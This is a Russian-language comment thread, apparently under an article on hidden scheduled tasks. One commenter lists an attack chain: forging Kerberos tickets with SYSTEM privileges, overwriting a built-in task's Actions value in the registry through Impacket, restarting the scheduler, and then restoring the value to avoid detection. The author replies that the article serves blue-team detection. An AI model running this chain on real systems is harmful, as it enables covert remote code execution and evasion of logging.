Comments 4
Любопытненько, но "тема сисек не раскрыта" или раскрыта не полностью.. ;)
Для раскрытия полагаю, следует добавить соотв инструментарий для автоматизации процесса (например на основе того же импакета и его либы по работе с remoteregistry - т.е сделать аналог atexec, но уже через реестр. Вот тогда было бы огонь!!
По поводу того как писать/читать реестр винды УДАЛЕННО от имени LOCALSYSTEM (чтобы никаких psexec и тому подобных палящихся запусков) - см. оригинал статьи по тамперингу тасков: https://labs.withsecure.com/publications/scheduled-task-tampering
Таким же образом можно передёргивать scheduled service (от имени LOCALSYSTEM)
Позвольте, как грится, начать раскрывать тему..
Т.о. алгоритм, например, беспалевного RCE представляется такой:
делай 1) Получаем NTLM компа и делаем SilverTicket c LOCALSYSTEM PAC или сразу генерим GoldenTicket c LOCALSYSTEM PAC
делай 2) reg.py ... query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks - выбираем таску, кот нам больше подойдет - лучше всего берем стандартую таску от микромягких, например ".\Microsoft\Windows\ApplicationData\appuriverifierdaily"
делай 3) reg.py ... add -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID вашей любимой таски} -v "Actions" -vt REG_BINARY -vd "blablabla"
делай 4) services.py ... restart 'schedule'
делай 4а) используем Imacket RPC или win schtasks для того чтобы передернуть таску.
делай 5) reg.py ... add -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID вашей любимой таски} -v "Actions" -vt REG_BINARY -vd "возвращаем обратно то что было до"
Для "полного раскрытия темы сисек" пункты 2-5 надо б оформить в виде одного скрипта, чтобы не плодить лишние логи по авторизации на таргетном сервере.
Данная статья не предполагает написания подробнейшего туториала, а еще лучше автоматизации всех действий атакующего. Про Silver Ticket + SYSTEM в PAC также было упомянуто в статье, но все-таки это другая атака (хоть и применяемая в данной цепочке) и тема отдельной статьи. Да и в принципе получить SYSTEM можно разными способами и зацикливаться на каком-то одном странно, выходят новые уязвимости, новые атаки и атакующий может выбирать тут на свой вкус и цвет. Основная же суть статьи дать понимание командам Blue Team о нестандартном способе проведения техники Scheduled Task, показать, что прежними способами задетектировать не получится (используя события 4698 и 4702), и предложить способ для детекта.
Незримые Scheduled Tasks